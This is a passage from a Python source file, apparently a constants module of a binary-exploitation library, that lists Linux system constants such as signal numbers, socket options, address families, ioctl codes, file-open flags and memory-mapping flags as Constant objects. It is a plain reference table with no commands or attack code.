Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) X86_FXSR_MAGIC = Constant('X86_FXSR_MAGIC',0x0000) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECT = Constant('O_DIRECT',0o40000) O_LARGEFILE = Constant('O_LARGEFILE',0o100000) O_DIRECTORY = Constant('O_DIRECTORY',0o200000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = 